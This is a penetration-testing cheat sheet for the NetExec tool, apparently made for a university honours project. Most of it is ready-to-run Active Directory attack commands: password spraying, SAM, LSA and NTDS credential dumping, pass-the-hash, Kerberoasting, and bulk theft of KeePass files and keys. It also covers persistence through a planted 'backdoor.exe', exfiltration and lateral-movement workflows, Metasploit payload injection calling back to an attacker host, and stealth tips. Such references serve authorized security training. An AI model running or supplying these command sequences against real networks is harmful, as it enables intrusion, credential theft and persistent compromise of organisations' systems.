NetExec Cheat Sheet

The Network Execution Tool for Penetration Testing

GH github.com/Pennyw0rth/NetExec

[B] netexec.wiki

Key Features:

[N] Multi-Protocol **[U]** AD Enumeration **[K]** Credential Attacks
[*] Post-Exploitation **[P]** BloodHound **[+]** 50+ Modules

Created with LaTeX | Rose Pine Dark Theme

♡ For educational and authorized penetration testing only
Always obtain proper authorization before testing!

Leif R Bruce | CMP400 Honours Project | Abertay University
November 26, 2025

Contents

1 ⇒ Quick Reference

1.1 General Syntax

```
nxc [options] <protocol> <target> [protocol-options] [-M module]
```

1.2 Supported Protocols

[S] SMB	[D] MSSQL	**[N]** LDAP	[M] WinRM
>_ SSH	[M] RDP	[F] FTP	[S] WMI
[H] NFS	[E] VNC		

1.3 Common Options

Option	Description
`-t THREADS`	Number of concurrent threads
`-timeout N`	Connection timeout (seconds)
`-jitter INTERVAL`	Random delay between connections
`-verbose / -debug`	Enable verbose/debug output
`-continue-on-success`	Keep trying after valid creds found
`-no-bruteforce`	Pair credentials 1:1 (no spray)
`-local-auth`	Authenticate locally (not domain)
`-k`	Use Kerberos authentication

2 ↓ Installation

2.1 Kali Linux (APT)

```
sudo apt update && sudo apt install netexec
```

2.2 Python (pipx - Recommended)

```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```

2.3 From Source (with uv)

```
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
uv run nxc/netexec.py
```

3 ○ Host Discovery & Initial Enumeration

• Info

Start every engagement by discovering hosts and gathering basic information before authentication attempts.

3.1 Network Scanning

```
# Discover SMB hosts on network
nxc smb 192.168.1.0/24

# Scan for specific protocols
nxc winrm 192.168.1.0/24
nxc rdp 192.168.1.0/24
nxc mssql 192.168.1.0/24
nxc ssh 192.168.1.0/24
```

3.2 Generate Hosts File Entry

! Quick Win

Automatically create `/etc/hosts` entries with hostnames and domain info!

```
# Generate hosts file entry from target
nxc smb 10.10.11.42 --generate-hosts-file hosts

# Append to /etc/hosts (using sponge from moreutils)
cat hosts /etc/hosts | sudo sponge /etc/hosts

# Alternative without sponge
cat hosts | sudo tee -a /etc/hosts
```

3.3 Generate Kerberos Config

```
# Generate krb5.conf for Kerberos authentication
nxc smb dc01.domain.htb -u 'user' -p 'pass' -k \
    --generate-krb5-file domain.krb5.conf

# Apply the configuration
sudo cp domain.krb5.conf /etc/krb5.conf
```

3.4 Basic Host Information

```
# Get host info (hostname, domain, OS, signing status)
nxc smb 10.10.11.42
# Output shows: name, domain, signing, SMBv1, Null Auth, Guest Auth

# Check password policy BEFORE spraying
nxc smb <target> -u <user> -p <pass> --pass-pol
```

4 [U] User Enumeration

4.1 RID Brute Force (Anonymous/Guest)

⋆ Pro Tip

When `-users` doesn't work, RID brute force often succeeds with guest or null auth!

```
# Basic RID brute force
nxc smb <target> -u guest -p '' --rid-brute

# Extended RID range
nxc smb <target> -u guest -p '' --rid-brute 10000
```

4.2 Extract Usernames for Spraying

! Quick Win

One-liner to extract clean usernames from RID brute output:

```
# Extract usernames to file for password spraying
nxc smb <target> -u guest -p '' --rid-brute \
    | grep SidTypeUser \
    | cut -d'\' -f2 \
    | cut -d' ' -f1 \
    | tee users.txt
```

4.3 Authenticated User Enumeration

```
# Enumerate domain users
nxc smb <target> -u <user> -p <pass> --users

# Enumerate domain groups
nxc smb <target> -u <user> -p <pass> --groups

# Enumerate domain computers
nxc smb <target> -u <user> -p <pass> --computers

# Enumerate logged-on users
nxc smb <target> -u <user> -p <pass> --loggedon-users

# Enumerate active sessions
nxc smb <target> -u <user> -p <pass> --sessions

# Get user descriptions (often contain passwords!)
nxc ldap <target> -u <user> -p <pass> -M get-desc-users
```

5 [K] Credential Attacks

5.1 Password Spraying

△ Warning

Always check password policy first (`-pass-pol`) to avoid lockouts! Use `-jitter` for safety.

```
# Basic password spray
nxc smb <target> -u users.txt -p 'Password123!'

# Spray with jitter (stealth)
nxc smb <target> -u users.txt -p 'Summer2024!' --jitter 5

# Continue after success (find all users with password)
nxc smb <target> -u users.txt -p pass.txt --continue-on-success

# Username as password (use --no-bruteforce to pair 1:1)
nxc smb <target> -u users.txt -p users.txt --no-bruteforce
```

5.2 Spray Common Patterns

⋆ Tip

Create a seasons wordlist and spray it against all users - very common password pattern!

```
# Create seasonal password list
echo -e "Spring2024!\nSummer2024!\nFall2024!\nWinter2024!\n\
Autumn2024!" > seasons.txt

# Spray and filter failures
nxc smb <target> -u users.txt -p seasons.txt \
    --continue-on-success | grep -v STATUS_LOGON_FAILURE
```

5.3 Empty Password Check

```
# Check for users with no password or STATUS_PASSWORD_MUST_CHANGE
nxc smb <target> -u users.txt -p '' --continue-on-success
```

5.4 MSSQL Authentication

```
# Windows authentication (domain)
nxc mssql <target> -u <user> -p <pass>

# Local SQL Server authentication
nxc mssql <target> -u sa -p 'SQLPass!' --local-auth
```

5.5 Credential Dumping

```
# Dump SAM database
nxc smb <target> -u <admin> -p <pass> --sam

# Dump LSA secrets
nxc smb <target> -u <admin> -p <pass> --lsa

# Dump NTDS.dit (Domain Controller only)
nxc smb <DC> -u <admin> -p <pass> --ntds

# Dump specific user from NTDS
nxc smb <DC> -u <admin> -p <pass> --ntds --user Administrator

# Dump DPAPI credentials
nxc smb <target> -u <admin> -p <pass> --dpapi

# Dump browser credentials
nxc smb <target> -u <admin> -p <pass> -M firefox
nxc smb <target> -u <admin> -p <pass> -M chrome
```

5.6 Pass-the-Hash

```
# Authenticate with NTLM hash
nxc smb <target> -u <user> -H <NTLM_HASH>

# Full LM:NT format
nxc smb <target> -u admin \
    -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

# Spray hashes across network
nxc smb 192.168.1.0/24 -u admin -H <hash>
```

5.7 Kerberos Attacks

```
# ASREPRoasting (users with "Do not require pre-auth")
nxc ldap <DC> -u <user> -p <pass> --asreproast asrep.txt

# Kerberoasting (service accounts with SPNs)
nxc ldap <DC> -u <user> -p <pass> --kerberoasting kerb.txt

# Pass-the-Ticket (use cached ticket)
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb <target> --use-kcache

# Generate TGT for other tools
nxc smb <target> -u 'SERVER$' -p server -k --generate-tgt ticket
```

6 [P] LDAP & BloodHound

6.1 LDAP Enumeration

```
# Get domain SID
nxc ldap <target> -u <user> -p <pass> -M get-sid

# Check machine account quota
nxc ldap <target> -u <user> -p <pass> -M maq

# Find delegation issues
nxc ldap <target> -u <user> -p <pass> -M find-delegation

# Extract gMSA passwords
nxc ldap <target> -u <user> -p <pass> --gmsa

# Dump LAPS passwords
nxc ldap <target> -u <user> -p <pass> -M laps

# Check for ADCS vulnerabilities
nxc ldap <target> -u <user> -p <pass> -M adcs
```

6.2 BloodHound Data Collection

! Quick Win

NetExec has built-in BloodHound collection - no need for separate tools!

```
# Collect all BloodHound data
nxc ldap <DC> -u <user> -p <pass> --bloodhound -c All \
    --dns-server <DC_IP>

# DCOnly collection (faster, less noisy)
nxc ldap <DC> -u <user> -p <pass> --bloodhound -c DCOnly

# With hash authentication
nxc ldap <DC> -u <user> -H <hash> --bloodhound -c All
```

⋆ Tip

Available BloodHound collections: `Default`, `DCOnly`, `Container`, `Trusts`, `ACL`, `ObjectProps`, `Group`, `LocalAdmin`, `Session`, `LoggedOn`, `All`

7 [F] SMB Share Enumeration

7.1 Share Discovery

```
# List all shares
nxc smb <target> -u <user> -p <pass> --shares

# Filter by access rights
nxc smb <target> -u <user> -p <pass> --shares --filter-shares READ
nxc smb <target> -u <user> -p <pass> --shares --filter-shares WRITE
nxc smb <target> -u <user> -p <pass> --shares --filter-shares READ WRITE

# Find writable shares across network
nxc smb 192.168.1.0/24 -u <user> -p <pass> --shares \
    --filter-shares WRITE | tee writable.txt
```

7.2 Spider Plus - File Discovery

```
# Basic spider - enumerate all files
nxc smb <target> -u <user> -p <pass> -M spider_plus

# Spider specific share
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o SHARE=IT_Share

# Search for sensitive file patterns
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o PATTERN=*pass*,*secret*,*credential*,*.kdbx
```

7.3 Spider Plus - Download Files

```
# Download matching files
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True PATTERN=*.docx,*.xlsx,*pass*

# Download with size limit (bytes)
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=51200

# Complete targeted exfil command
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o SHARE=Users$ \
    DOWNLOAD_FLAG=True \
    PATTERN=*.kdbx,*password*,*.key,*.ppk,*credential* \
    MAX_FILE_SIZE=10485760 \
    EXCLUDE_EXTS=exe,dll,sys \
    OUTPUT_FOLDER=/tmp/loot
```

△ Warning

Download Considerations:

- Set `MAX_FILE_SIZE` to avoid downloading huge files
- Use specific patterns to reduce noise and time
- Downloaded files saved to: `<OUTPUT>/target/share/path/file`
- Default output: `/tmp/nxc_spider_plus`

7.4 Spider Plus - Advanced Options

```
# Limit recursion depth
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o DEPTH=3

# Search only in specific folder
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o SHARE=C$ PATTERN=*.xml FOLDER=/Windows/System32/config

# Verbose output showing all files
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o VERBOSE=True
```

7.5 Reading Share Contents - Alternative Methods

```
# Use smbclient.py from Impacket
smbclient.py <domain>/<user>:<pass>@<target>
# smb: \> shares
# smb: \> use ShareName
# smb: \> ls
# smb: \> get filename.txt

# Mount SMB share (Linux)
sudo mount -t cifs //<target>/ShareName /mnt/share \
    -o username=<user>,password=<pass>,domain=<domain>
ls -la /mnt/share
cp /mnt/share/file.txt /tmp/
sudo umount /mnt/share

# Kerberos auth with smbclient.py
smbclient.py '<domain>/<user>:<pass>@<target>' -k -no-pass
```

7.6 Targeted File Extraction

```
# Find and download KeePass databases
nxc smb 192.168.1.0/24 -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True PATTERN=*.kdbx MAX_FILE_SIZE=10485760

# Extract SSH private keys
nxc smb 192.168.1.0/24 -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True PATTERN=*id_rsa*,*id_dsa*,*.pem

# Find configuration files
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o PATTERN=*.conf,*.config,*.xml,*.ini,*.yaml,*.yml

# Find scripts that might contain credentials
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o PATTERN=*.ps1,*.bat,*.cmd,*.vbs,*.sh DOWNLOAD_FLAG=True
```

7.7 Share Enumeration Across Domain

```
# Find all writable shares on network
nxc smb 192.168.1.0/24 -u <user> -p <pass> --shares \
    --filter-shares WRITE | tee writable_shares.txt

# Spider all hosts with writable shares (bash loop)
for ip in $(cat writable_shares.txt | grep WRITE | awk '{print $2}'); do
    nxc smb $ip -u <user> -p <pass> -M spider_plus \
        -o DOWNLOAD_FLAG=True PATTERN=*.docx,*.xlsx,*pass*
done

# Find shares containing specific files across domain
nxc smb 192.168.1.0/24 -u <user> -p <pass> -M spider_plus \
    -o PATTERN=web.config,app.config
```

⋆ Tip

Common sensitive file patterns: `pass*`, `*secret*`, `*config*`, `*.kdbx` (KeePass), `*.ppk` (PuTTY keys), `*id_rsa*` (SSH keys), `*backup*`, `*.har` (HTTP archives with creds!)

8 [F] File Operations

8.1 Upload Files

```
# Upload file via SMB
nxc smb <target> -u <user> -p <pass> \
    --put-file /local/path 'C:\remote\path'

# Upload to specific share
nxc smb <target> -u <user> -p <pass> \
    --put-file /local/backdoor.exe \
    '\\\\<target>\\C$\\Windows\\Temp\\update.exe'

# Upload via SSH
nxc ssh <target> -u <user> -p <pass> \
    --put-file /local/file /remote/file
```

8.2 Download Files

```
# Download single file via SMB
nxc smb <target> -u <user> -p <pass> \
    --get-file 'C:\Windows\System32\config\SAM' /tmp/SAM

# Download from specific share
nxc smb <target> -u <user> -p <pass> \
    --get-file '\\\\<target>\\C$\\Users\\Admin\\Documents\\passwords.txt' \
    /tmp/passwords.txt

# Download via SSH
nxc ssh <target> -u <user> -p <pass> \
    --get-file /remote/file /local/file
```

⋆ Tip

Use `spider_plus` for bulk downloads, `-get-file` for specific files:

- `spider_plus`: Automated enumeration & download
- `-get-file`: Precise single file download
- `-put-file`: Upload files for staging/pivoting

9 >_ Command Execution

9.1 SMB Execution Methods

```
# Windows command
nxc smb <target> -u <user> -p <pass> -x 'whoami'

# PowerShell command
nxc smb <target> -u <user> -p <pass> -X 'Get-Host'

# Specify execution method
nxc smb <target> -u <user> -p <pass> --exec-method wmiexec -x 'ipconfig'

# No output retrieval (stealthier)
nxc smb <target> -u <user> -p <pass> -x 'command' --no-output

# Obfuscated PowerShell
nxc smb <target> -u <user> -p <pass> -X 'Get-Process' --obfs
```

• Info

Execution Methods:

- `wmiexec` - WMI (default, stealthy)
- `smbexec` - SMB (fast, creates service)
- `atexec` - Task Scheduler
- `mmcexec` - MMC20.Application

9.2 Other Protocol Execution

```
# WinRM
nxc winrm <target> -u <user> -p <pass> -X 'Get-NetIPConfiguration'

# MSSQL via xp_cmdshell
nxc mssql <target> -u sa -p <pass> --local-auth -x 'whoami'

# SSH
nxc ssh <target> -u <user> -p <pass> -x 'id'
```

10 [AD] Active Directory Specific

10.1 Pre-Windows 2000 Computer Accounts

⋆ Pro Tip

Computer accounts in "Pre-Windows 2000 Compatible Access" group often have predictable passwords - the computer name in lowercase without the $!

```
# Check computers list
nxc ldap <DC> -u <user> -p <pass> --computers

# Generate password list from computer names
cat computers | tr -d '$' | tr '[:upper:]' '[:lower:]' > pre2k-pass.txt

# Authenticate with pre-2000 password (use Kerberos!)
nxc smb <DC> -u 'COMPUTERNAME$' -p computername -k
```

10.2 Password Change Operations

```
# Change password (for STATUS_PASSWORD_MUST_CHANGE users)
nxc smb <DC> -u <user> -p '' -M change-password \
    -o NEWPASS='NewPassword123!'

# Change another user's password (if you have permissions)
nxc smb <DC> -u <attacker> -p <pass> -M change-password \
    -o USER=target_user NEWPASS='Password123!'
```

10.3 GMSA Password Extraction

```
# Extract gMSA passwords (if you have read permissions)
nxc ldap <DC> -u <user> -p <pass> --gmsa

# The output contains the NT hash of the gMSA account
```

11 [*] Post-Exploitation

11.1 Privilege Escalation

```
# Check for AlwaysInstallElevated
nxc smb <target> -u <user> -p <pass> -M install_elevated

# Token impersonation
nxc smb <target> -u <user> -p <pass> -M impersonate

# MSSQL privilege escalation
nxc mssql <target> -u <user> -p <pass> -M mssql_priv
```

11.2 Persistence

```
# Enable RDP
nxc smb <target> -u <user> -p <pass> -M rdp -o ACTION=enable

# Create scheduled task
nxc smb <target> -u <user> -p <pass> -x \
    'schtasks /create /tn "Update" /tr "C:\backdoor.exe" \
    /sc onlogon /ru System'

# Registry Run key
nxc smb <target> -u <user> -p <pass> -x \
    'reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
    /v Updater /t REG_SZ /d "C:\backdoor.exe"'

# Startup folder
nxc smb <target> -u <user> -p <pass> --put-file backdoor.exe \
    'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe'
```

11.3 Defense Evasion

```
# Enumerate AV products
nxc smb <target> -u <user> -p <pass> -M enum_av

# Check if WebDAV is running
nxc smb <target> -u <user> -p <pass> -M webdav

# Check Print Spooler status
nxc smb <target> -u <user> -p <pass> -M spooler
```

11.4 Data Exfiltration

```
# Find sensitive files (see SMB Share Deep Dive section)
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True PATTERN=password,config,secret

# Dump browser credentials
nxc smb <target> -u <user> -p <pass> -M firefox
nxc smb <target> -u <user> -p <pass> -M chrome

# Steal Teams cookies
nxc ldap <target> -u <user> -p <pass> -M teams_localdb

# Find KeePass databases
nxc smb <target> -u <user> -p <pass> -M keepass_discover

# Extract all Office documents
nxc smb <target> -u <user> -p <pass> -M spider_plus \
    -o DOWNLOAD_FLAG=True PATTERN=*.doc*,*.xls*,*.ppt* \
```

```
    MAX_FILE_SIZE=10485760
```

11.5 Lateral Movement

```
# Spray credentials across network
nxc smb 192.168.1.0/24 -u admin -H <hash>

# Find local admin access
nxc smb 192.168.1.0/24 -u admin -p pass --local-auth

# Find where user has admin rights
nxc smb 192.168.1.0/24 -u user -p pass | grep Pwn3d

# Execute commands on multiple hosts
nxc smb 192.168.1.0/24 -u admin -p pass -x whoami
```

12 [+] Useful Modules

12.1 Module Management

```
# List all modules for protocol
nxc smb -L
nxc ldap -L

# Show module info
nxc smb -M <module> --module-info

# Show module options
nxc smb -M <module> --options
```

12.2 Popular SMB Modules

Module	Description
spider_plus	Enumerate & download from shares
enum_av	Enumerate AV products
rdp	Enable/disable RDP
zerologon	Check for ZeroLogon
petitpotam	Check for PetitPotam
nopac	Check for noPac/sAMAccountName
sccm	Dump SCCM credentials
wireless	Extract wireless profiles

12.3 Popular LDAP Modules

Module	Description
laps	Dump LAPS passwords
adcs	Find vulnerable ADCS templates
maq	Check machine account quota
get-desc-users	Get user descriptions
find-delegation	Find delegation issues
get-sid	Get domain SID

13 -> Attack Workflows

13.1 Initial Compromise Workflow

```
# 1. Discover hosts and generate hosts file
nxc smb 192.168.1.0/24 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

# 2. Check for null/guest auth and RID brute
nxc smb <DC> -u guest -p '' --rid-brute \
```

```
    | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 > users.txt

# 3. Check password policy
nxc smb <DC> -u guest -p '' --pass-pol

# 4. Password spray
nxc smb <DC> -u users.txt -p 'Company2024!' --continue-on-success
```

13.2 Post-Compromise Enumeration

```
# 1. BloodHound collection
nxc ldap <DC> -u <user> -p <pass> --bloodhound -c All

# 2. Find admin access across network
nxc smb 192.168.1.0/24 -u <user> -p <pass>

# 3. Enumerate shares for sensitive data
nxc smb <targets> -u <user> -p <pass> -M spider_plus \
    -o PATTERN=*pass*,*.kdbx,*config*

# 4. Dump credentials from accessible systems
nxc smb <targets> -u <admin> -p <pass> --sam --lsa
```

13.3 Domain Compromise Workflow

```
# 1. Verify admin access to DC
nxc smb <DC> -u <admin> -H <hash>

# 2. Dump NTDS
nxc smb <DC> -u <admin> -H <hash> --ntds

# 3. Dump LAPS passwords
nxc ldap <DC> -u <admin> -H <hash> -M laps

# 4. Final BloodHound collection
nxc ldap <DC> -u <admin> -H <hash> --bloodhound -c All
```

14 [*] Advanced Techniques

14.1 RDP Screenshots

```
# Take screenshot (with NLA)
nxc rdp <target> -u <user> -p <pass> --screenshot

# Screenshot without NLA
nxc rdp <target> -u <user> -p <pass> --nla-screenshot --screentime 10
```

14.2 PowerShell Obfuscation

```
# Obfuscate PowerShell commands
nxc smb <target> -u <user> -p <pass> -X 'Get-Process' --obfs

# Clear cached obfuscated scripts
nxc smb <target> -u <user> -p <pass> -X command --clear-obfscripts
```

14.3 Integration with Other Tools

```
# PowerShell Empire launcher
nxc smb <target> -u <user> -p <pass> -M empire_exec -o LISTENER=http

# Metasploit payload injection
nxc smb <target> -u <user> -p <pass> -M met_inject \
    -o LHOST=192.168.1.10 LPORT=4444
```

14.4 Vulnerability Checks

```
# Check for ZeroLogon
nxc smb <target> -u <user> -p <pass> -M zerologon

# Check for PetitPotam
nxc smb <target> -u <user> -p <pass> -M petitpotam

# Check for noPac/sAMAccountName
nxc smb <target> -u <user> -p <pass> -M nopac

# Check WebDAV status
nxc smb <target> -u <user> -p <pass> -M webdav

# Check Print Spooler status
nxc smb <target> -u <user> -p <pass> -M spooler
```

14.5 Registry Operations

```
# Query registry
nxc smb <target> -u <user> -p <pass> -M reg_query \
    -o KEY="HKLM\SOFTWARE"

# Add computer to domain
nxc smb <DC> -u <user> -p <pass> -M add-computer \
    -o NAME=YOURPC ADDPASS=Pass123
```

15 [T] Tips & Tricks

! Quick Wins Checklist

- Check SMB signing: `nxc smb <target>`
- Find shares: `nxc smb <network>/24 -shares`
- Spray common passwords: `nxc smb <network>/24 -u users.txt -p 'Password123!'`
- Find admin access: `nxc smb <network>/24 -u user -p pass`
- Dump all creds: `nxc smb <target> -u admin -p pass -sam -lsa`
- Find sensitive files: `nxc smb <target> -M spider_plus -o PATTERN=*pass*`

⋆ OpSec Considerations

- Use `-jitter` to add delays between connections
- Use `wmiexec` method for stealthier command execution
- Avoid `-ntds` dumping during business hours (very noisy)
- Use local accounts with `-local-auth` when possible
- Use Kerberos (`-k`) when NTLM is monitored

⋆ Pro Tips from HTB Writeups

- **STATUS_PASSWORD_MUST_CHANGE**: Use `change-password` module!
- **Pre-Windows 2000**: Computer password = lowercase hostname
- **MSSQL sa account**: Always try `-local-auth`
- **HAR files**: Often contain passwords in plain text
- **Guest auth**: Even without shares, RID brute usually works
- **gMSA**: If you can read it, you get the NT hash directly

△ Common Mistakes

- Forgetting `-continue-on-success` when spraying
- Not checking password policy before spraying (lockouts!)
- Using NTLM when target requires Kerberos
- Missing the `$` in computer account names
- Not using `-dns-server` for BloodHound collection

16 [D] Database Operations

```
# Open NetExec database shell
nxcdb

# Export credentials
nxcdb export creds credentials.txt

# Export hosts
nxcdb export hosts hosts.txt

# Clear database
nxcdb clear
```

17 [L] Resources

[W] Official Wiki	https://netexec.wiki
GH GitHub	https://github.com/Pennyw0rth/NetExec
[DC] Discord	https://discord.gg/nxc
[B] CrackMapExec Wiki	https://wiki.porchetta.industries
[BL] 0xdf Writeups	https://0xdf.gitlab.io